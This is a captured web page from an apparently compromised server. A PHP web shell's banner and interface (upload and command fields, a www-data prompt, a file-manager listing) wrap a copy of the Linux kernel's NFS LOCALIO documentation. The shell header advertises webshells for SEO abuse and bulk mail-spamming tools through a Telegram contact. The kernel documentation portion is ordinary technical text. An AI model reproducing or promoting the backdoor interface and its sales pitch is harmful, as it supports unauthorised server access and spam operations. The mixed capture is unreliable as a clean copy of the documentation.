__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.146: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>NFS LOCALIO &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="Reference counting in pnfs" href="pnfs.html" />
    <link rel="prev" title="Making Filesystems Exportable" href="exporting.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="../index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../scsi/index.html">SCSI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../target/index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/filesystems/nfs/localio.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="nfs-localio">
<h1>NFS LOCALIO<a class="headerlink" href="#nfs-localio" title="Link to this heading">¶</a></h1>
<section id="overview">
<h2>Overview<a class="headerlink" href="#overview" title="Link to this heading">¶</a></h2>
<p>The LOCALIO auxiliary RPC protocol allows the Linux NFS client and
server to reliably handshake to determine if they are on the same
host. Select “NFS client and server support for LOCALIO auxiliary
protocol” in menuconfig to enable CONFIG_NFS_LOCALIO in the kernel
config (both CONFIG_NFS_FS and CONFIG_NFSD must also be enabled).</p>
<p>Once an NFS client and server handshake as “local”, the client will
bypass the network RPC protocol for read, write and commit operations.
Due to this XDR and RPC bypass, these operations will operate faster.</p>
<p>The LOCALIO auxiliary protocol’s implementation, which uses the same
connection as NFS traffic, follows the pattern established by the NFS
ACL protocol extension.</p>
<p>The LOCALIO auxiliary protocol is needed to allow robust discovery of
clients local to their servers. In a private implementation that
preceded use of this LOCALIO protocol, a fragile sockaddr network
address based match against all local network interfaces was attempted.
But unlike the LOCALIO protocol, the sockaddr-based matching didn’t
handle use of iptables or containers.</p>
<p>The robust handshake between local client and server is just the
beginning, the ultimate use case this locality makes possible is the
client is able to open files and issue reads, writes and commits
directly to the server without having to go over the network. The
requirement is to perform these loopback NFS operations as efficiently
as possible, this is particularly useful for container use cases
(e.g. kubernetes) where it is possible to run an IO job local to the
server.</p>
<p>The performance advantage realized from LOCALIO’s ability to bypass
using XDR and RPC for reads, writes and commits can be extreme, e.g.:</p>
<dl class="simple">
<dt>fio for 20 secs with directio, qd of 8, 16 libaio threads:</dt><dd><ul class="simple">
<li><p>With LOCALIO:
4K read:    IOPS=979k,  BW=3825MiB/s (4011MB/s)(74.7GiB/20002msec)
4K write:   IOPS=165k,  BW=646MiB/s  (678MB/s)(12.6GiB/20002msec)
128K read:  IOPS=402k,  BW=49.1GiB/s (52.7GB/s)(982GiB/20002msec)
128K write: IOPS=11.5k, BW=1433MiB/s (1503MB/s)(28.0GiB/20004msec)</p></li>
<li><p>Without LOCALIO:
4K read:    IOPS=79.2k, BW=309MiB/s  (324MB/s)(6188MiB/20003msec)
4K write:   IOPS=59.8k, BW=234MiB/s  (245MB/s)(4671MiB/20002msec)
128K read:  IOPS=33.9k, BW=4234MiB/s (4440MB/s)(82.7GiB/20004msec)
128K write: IOPS=11.5k, BW=1434MiB/s (1504MB/s)(28.0GiB/20011msec)</p></li>
</ul>
</dd>
<dt>fio for 20 secs with directio, qd of 8, 1 libaio thread:</dt><dd><ul class="simple">
<li><p>With LOCALIO:
4K read:    IOPS=230k,  BW=898MiB/s  (941MB/s)(17.5GiB/20001msec)
4K write:   IOPS=22.6k, BW=88.3MiB/s (92.6MB/s)(1766MiB/20001msec)
128K read:  IOPS=38.8k, BW=4855MiB/s (5091MB/s)(94.8GiB/20001msec)
128K write: IOPS=11.4k, BW=1428MiB/s (1497MB/s)(27.9GiB/20001msec)</p></li>
<li><p>Without LOCALIO:
4K read:    IOPS=77.1k, BW=301MiB/s  (316MB/s)(6022MiB/20001msec)
4K write:   IOPS=32.8k, BW=128MiB/s  (135MB/s)(2566MiB/20001msec)
128K read:  IOPS=24.4k, BW=3050MiB/s (3198MB/s)(59.6GiB/20001msec)
128K write: IOPS=11.4k, BW=1430MiB/s (1500MB/s)(27.9GiB/20001msec)</p></li>
</ul>
</dd>
</dl>
</section>
<section id="faq">
<h2>FAQ<a class="headerlink" href="#faq" title="Link to this heading">¶</a></h2>
<ol class="arabic">
<li><p>What are the use cases for LOCALIO?</p>
<ol class="loweralpha simple">
<li><p>Workloads where the NFS client and server are on the same host
realize improved IO performance. In particular, it is common when
running containerised workloads for jobs to find themselves
running on the same host as the knfsd server being used for
storage.</p></li>
</ol>
</li>
<li><p>What are the requirements for LOCALIO?</p>
<ol class="loweralpha simple">
<li><p>Bypass use of the network RPC protocol as much as possible. This
includes bypassing XDR and RPC for open, read, write and commit
operations.</p></li>
<li><p>Allow client and server to autonomously discover if they are
running local to each other without making any assumptions about
the local network topology.</p></li>
<li><p>Support the use of containers by being compatible with relevant
namespaces (e.g. network, user, mount).</p></li>
<li><p>Support all versions of NFS. NFSv3 is of particular importance
because it has wide enterprise usage and pNFS flexfiles makes use
of it for the data path.</p></li>
</ol>
</li>
<li><p>Why doesn’t LOCALIO just compare IP addresses or hostnames when
deciding if the NFS client and server are co-located on the same
host?</p>
<p>Since one of the main use cases is containerised workloads, we cannot
assume that IP addresses will be shared between the client and
server. This sets up a requirement for a handshake protocol that
needs to go over the same connection as the NFS traffic in order to
identify that the client and the server really are running on the
same host. The handshake uses a secret that is sent over the wire,
and can be verified by both parties by comparing with a value stored
in shared kernel memory if they are truly co-located.</p>
</li>
<li><p>Does LOCALIO improve pNFS flexfiles?</p>
<p>Yes, LOCALIO complements pNFS flexfiles by allowing it to take
advantage of NFS client and server locality.  Policy that initiates
client IO as closely to the server where the data is stored naturally
benefits from the data path optimization LOCALIO provides.</p>
</li>
<li><p>Why not develop a new pNFS layout to enable LOCALIO?</p>
<p>A new pNFS layout could be developed, but doing so would put the
onus on the server to somehow discover that the client is co-located
when deciding to hand out the layout.
There is value in a simpler approach (as provided by LOCALIO) that
allows the NFS client to negotiate and leverage locality without
requiring more elaborate modeling and discovery of such locality in a
more centralized manner.</p>
</li>
<li><p>Why is having the client perform a server-side file OPEN, without
using RPC, beneficial?  Is the benefit pNFS specific?</p>
<p>Avoiding the use of XDR and RPC for file opens is beneficial to
performance regardless of whether pNFS is used. Especially when
dealing with small files its best to avoid going over the wire
whenever possible, otherwise it could reduce or even negate the
benefits of avoiding the wire for doing the small file I/O itself.
Given LOCALIO’s requirements the current approach of having the
client perform a server-side file open, without using RPC, is ideal.
If in the future requirements change then we can adapt accordingly.</p>
</li>
<li><p>Why is LOCALIO only supported with UNIX Authentication (AUTH_UNIX)?</p>
<p>Strong authentication is usually tied to the connection itself. It
works by establishing a context that is cached by the server, and
that acts as the key for discovering the authorisation token, which
can then be passed to rpc.mountd to complete the authentication
process. On the other hand, in the case of AUTH_UNIX, the credential
that was passed over the wire is used directly as the key in the
upcall to rpc.mountd. This simplifies the authentication process, and
so makes AUTH_UNIX easier to support.</p>
</li>
<li><p>How do export options that translate RPC user IDs behave for LOCALIO
operations (eg. root_squash, all_squash)?</p>
<p>Export options that translate user IDs are managed by <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfsd_setuser()</span></code>
which is called by <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfsd_setuser_and_check_port()</span></code> which is called by
<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">__fh_verify()</span></code>.  So they get handled exactly the same way for LOCALIO
as they do for non-LOCALIO.</p>
</li>
<li><p>How does LOCALIO make certain that object lifetimes are managed
properly given NFSD and NFS operate in different contexts?</p>
<p>See the detailed “NFS Client and Server Interlock” section below.</p>
</li>
</ol>
</section>
<section id="rpc">
<h2>RPC<a class="headerlink" href="#rpc" title="Link to this heading">¶</a></h2>
<p>The LOCALIO auxiliary RPC protocol consists of a single “UUID_IS_LOCAL”
RPC method that allows the Linux NFS client to verify the local Linux
NFS server can see the nonce (single-use UUID) the client generated and
made available in nfs_common. This protocol isn’t part of an IETF
standard, nor does it need to be considering it is Linux-to-Linux
auxiliary RPC protocol that amounts to an implementation detail.</p>
<p>The UUID_IS_LOCAL method encodes the client generated uuid_t in terms of
the fixed UUID_SIZE (16 bytes). The fixed size opaque encode and decode
XDR methods are used instead of the less efficient variable sized
methods.</p>
<p>The RPC program number for the NFS_LOCALIO_PROGRAM is 400122 (as assigned
by IANA, see <a class="reference external" href="https://www.iana.org/assignments/rpc-program-numbers/">https://www.iana.org/assignments/rpc-program-numbers/</a> ):
Linux Kernel Organization       400122  nfslocalio</p>
<p>The LOCALIO protocol spec in rpcgen syntax is:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>/* raw RFC 9562 UUID */
#define UUID_SIZE 16
typedef u8 uuid_t&lt;UUID_SIZE&gt;;

program NFS_LOCALIO_PROGRAM {
    version LOCALIO_V1 {
        void
            NULL(void) = 0;

        void
            UUID_IS_LOCAL(uuid_t) = 1;
    } = 1;
} = 400122;
</pre></div>
</div>
<p>LOCALIO uses the same transport connection as NFS traffic. As such,
LOCALIO is not registered with rpcbind.</p>
</section>
<section id="nfs-common-and-client-server-handshake">
<h2>NFS Common and Client/Server Handshake<a class="headerlink" href="#nfs-common-and-client-server-handshake" title="Link to this heading">¶</a></h2>
<p>fs/nfs_common/nfslocalio.c provides interfaces that enable an NFS client
to generate a nonce (single-use UUID) and associated short-lived
nfs_uuid_t struct, register it with nfs_common for subsequent lookup and
verification by the NFS server and if matched the NFS server populates
members in the nfs_uuid_t struct. The NFS client then uses nfs_common to
transfer the nfs_uuid_t from its nfs_uuids to the nn-&gt;nfsd_serv
clients_list from the nfs_common’s uuids_list.  See:
fs/nfs/localio.c:<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfs_local_probe()</span></code></p>
<p>nfs_common’s nfs_uuids list is the basis for LOCALIO enablement, as such
it has members that point to nfsd memory for direct use by the client
(e.g. ‘net’ is the server’s network namespace, through it the client can
access nn-&gt;nfsd_serv with proper rcu read access). It is this client
and server synchronization that enables advanced usage and lifetime of
objects to span from the host kernel’s nfsd to per-container knfsd
instances that are connected to nfs client’s running on the same local
host.</p>
</section>
<section id="nfs-client-and-server-interlock">
<h2>NFS Client and Server Interlock<a class="headerlink" href="#nfs-client-and-server-interlock" title="Link to this heading">¶</a></h2>
<p>LOCALIO provides the nfs_uuid_t object and associated interfaces to
allow proper network namespace (net-ns) and NFSD object refcounting.</p>
<p>LOCALIO required the introduction and use of NFSD’s percpu nfsd_net_ref
to interlock <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfsd_shutdown_net()</span></code> and <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfsd_open_local_fh()</span></code>, to ensure
each net-ns is not destroyed while in use by <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfsd_open_local_fh()</span></code>, and
warrants a more detailed explanation:</p>
<blockquote>
<div><p><code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfsd_open_local_fh()</span></code> uses <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfsd_net_try_get()</span></code> before opening its
nfsd_file handle and then the caller (NFS client) must drop the
reference for the nfsd_file and associated net-ns using
<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfsd_file_put_local()</span></code> once it has completed its IO.</p>
<p>This interlock working relies heavily on <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfsd_open_local_fh()</span></code> being
afforded the ability to safely deal with the possibility that the
NFSD’s net-ns (and nfsd_net by association) may have been destroyed
by <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfsd_destroy_serv()</span></code> via <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfsd_shutdown_net()</span></code>.</p>
</div></blockquote>
<p>This interlock of the NFS client and server has been verified to fix an
easy to hit crash that would occur if an NFSD instance running in a
container, with a LOCALIO client mounted, is shutdown. Upon restart of
the container and associated NFSD, the client would go on to crash due
to NULL pointer dereference that occurred due to the LOCALIO client’s
attempting to <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfsd_open_local_fh()</span></code> without having a proper reference on
NFSD’s net-ns.</p>
</section>
<section id="nfs-client-issues-io-instead-of-server">
<h2>NFS Client issues IO instead of Server<a class="headerlink" href="#nfs-client-issues-io-instead-of-server" title="Link to this heading">¶</a></h2>
<p>Because LOCALIO is focused on protocol bypass to achieve improved IO
performance, alternatives to the traditional NFS wire protocol (SUNRPC
with XDR) must be provided to access the backing filesystem.</p>
<p>See fs/nfs/localio.c:<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfs_local_open_fh()</span></code> and
fs/nfsd/localio.c:<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfsd_open_local_fh()</span></code> for the interface that makes
focused use of select nfs server objects to allow a client local to a
server to open a file pointer without needing to go over the network.</p>
<p>The client’s fs/nfs/localio.c:<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfs_local_open_fh()</span></code> will call into the
server’s fs/nfsd/localio.c:<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfsd_open_local_fh()</span></code> and carefully access
both the associated nfsd network namespace and nn-&gt;nfsd_serv in terms of
RCU. If <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfsd_open_local_fh()</span></code> finds that the client no longer sees valid
nfsd objects (be it <code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">net</span></code> or nn-&gt;nfsd_serv) it returns -ENXIO
to <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfs_local_open_fh()</span></code> and the client will try to reestablish the
LOCALIO resources needed by calling <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfs_local_probe()</span></code> again. This
recovery is needed if/when an nfsd instance running in a container were
to reboot while a LOCALIO client is connected to it.</p>
<p>Once the client has an open nfsd_file pointer it will issue reads,
writes and commits directly to the underlying local filesystem (normally
done by the nfs server). As such, for these operations, the NFS client
is issuing IO to the underlying local filesystem that it is sharing with
the NFS server. See: fs/nfs/localio.c:<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfs_local_doio()</span></code> and
fs/nfs/localio.c:<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">nfs_local_commit()</span></code>.</p>
<p>With normal NFS that makes use of RPC to issue IO to the server, if an
application uses O_DIRECT the NFS client will bypass the pagecache but
the NFS server will not. The NFS server’s use of buffered IO affords
applications to be less precise with their alignment when issuing IO to
the NFS client. But if all applications properly align their IO, LOCALIO
can be configured to use end-to-end O_DIRECT semantics from the NFS
client to the underlying local filesystem, that it is sharing with
the NFS server, by setting the ‘localio_O_DIRECT_semantics’ nfs module
parameter to Y, e.g.:</p>
<blockquote>
<div><p>echo Y &gt; /sys/module/nfs/parameters/localio_O_DIRECT_semantics</p>
</div></blockquote>
<p>Once enabled, it will cause LOCALIO to use end-to-end O_DIRECT semantics
(but again, this may cause IO to fail if applications do not properly
align their IO).</p>
</section>
<section id="security">
<h2>Security<a class="headerlink" href="#security" title="Link to this heading">¶</a></h2>
<p>LOCALIO is only supported when UNIX-style authentication (AUTH_UNIX, aka
AUTH_SYS) is used.</p>
<p>Care is taken to ensure the same NFS security mechanisms are used
(authentication, etc) regardless of whether LOCALIO or regular NFS
access is used. The auth_domain established as part of the traditional
NFS client access to the NFS server is also used for LOCALIO.</p>
<p>Relative to containers, LOCALIO gives the client access to the network
namespace the server has. This is required to allow the client to access
the server’s per-namespace nfsd_net struct. With traditional NFS, the
client is afforded this same level of access (albeit in terms of the NFS
protocol via SUNRPC). No other namespaces (user, mount, etc) have been
altered or purposely extended from the server to the client.</p>
</section>
<section id="module-parameters">
<h2>Module Parameters<a class="headerlink" href="#module-parameters" title="Link to this heading">¶</a></h2>
<p>/sys/module/nfs/parameters/localio_enabled (bool)
controls if LOCALIO is enabled, defaults to Y. If client and server are
local but ‘localio_enabled’ is set to N then LOCALIO will not be used.</p>
<p>/sys/module/nfs/parameters/localio_O_DIRECT_semantics (bool)
controls if O_DIRECT extends down to the underlying filesystem, defaults
to N. Application IO must be logical blocksize aligned, otherwise
O_DIRECT will fail.</p>
<p>/sys/module/nfsv3/parameters/nfs3_localio_probe_throttle (uint)
controls if NFSv3 read and write IOs will trigger (re)enabling of
LOCALIO every N (nfs3_localio_probe_throttle) IOs, defaults to 0
(disabled). Must be power-of-2, admin keeps all the pieces if they
misconfigure (too low a value or non-power-of-2).</p>
</section>
<section id="testing">
<h2>Testing<a class="headerlink" href="#testing" title="Link to this heading">¶</a></h2>
<p>The LOCALIO auxiliary protocol and associated NFS LOCALIO read, write
and commit access have proven stable against various test scenarios:</p>
<ul class="simple">
<li><p>Client and server both on the same host.</p></li>
<li><p>All permutations of client and server support enablement for both
local and remote client and server.</p></li>
<li><p>Testing against NFS storage products that don’t support the LOCALIO
protocol was also performed.</p></li>
<li><p>Client on host, server within a container (for both v3 and v4.2).
The container testing was in terms of podman managed containers and
includes successful container stop/restart scenario.</p></li>
<li><p>Formalizing these test scenarios in terms of existing test
infrastructure is on-going. Initial regular coverage is provided in
terms of ktest running xfstests against a LOCALIO-enabled NFS loopback
mount configuration, and includes lockdep and KASAN coverage, see:
<a class="reference external" href="https://evilpiepirate.org/~testdashboard/ci?user=snitzer&amp;branch=snitm-nfs-next">https://evilpiepirate.org/~testdashboard/ci?user=snitzer&amp;branch=snitm-nfs-next</a>
<a class="reference external" href="https://github.com/koverstreet/ktest">https://github.com/koverstreet/ktest</a></p></li>
<li><p>Various kdevops testing (in terms of “Chuck’s BuildBot”) has been
performed to regularly verify the LOCALIO changes haven’t caused any
regressions to non-LOCALIO NFS use cases.</p></li>
<li><p>All of Hammerspace’s various sanity tests pass with LOCALIO enabled
(this includes numerous pNFS and flexfiles tests).</p></li>
</ul>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/filesystems/nfs/localio.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
client-identifier.html File 18.32 KB 0644
exporting.html File 21.19 KB 0644
index.html File 9.14 KB 0644
knfsd-stats.html File 13.93 KB 0644
localio.html File 28.42 KB 0644
nfs41-server.html File 22.52 KB 0644
pnfs.html File 12.37 KB 0644
reexport.html File 13.98 KB 0644
rpc-cache.html File 18.68 KB 0644
rpc-server-gss.html File 12.83 KB 0644
Filemanager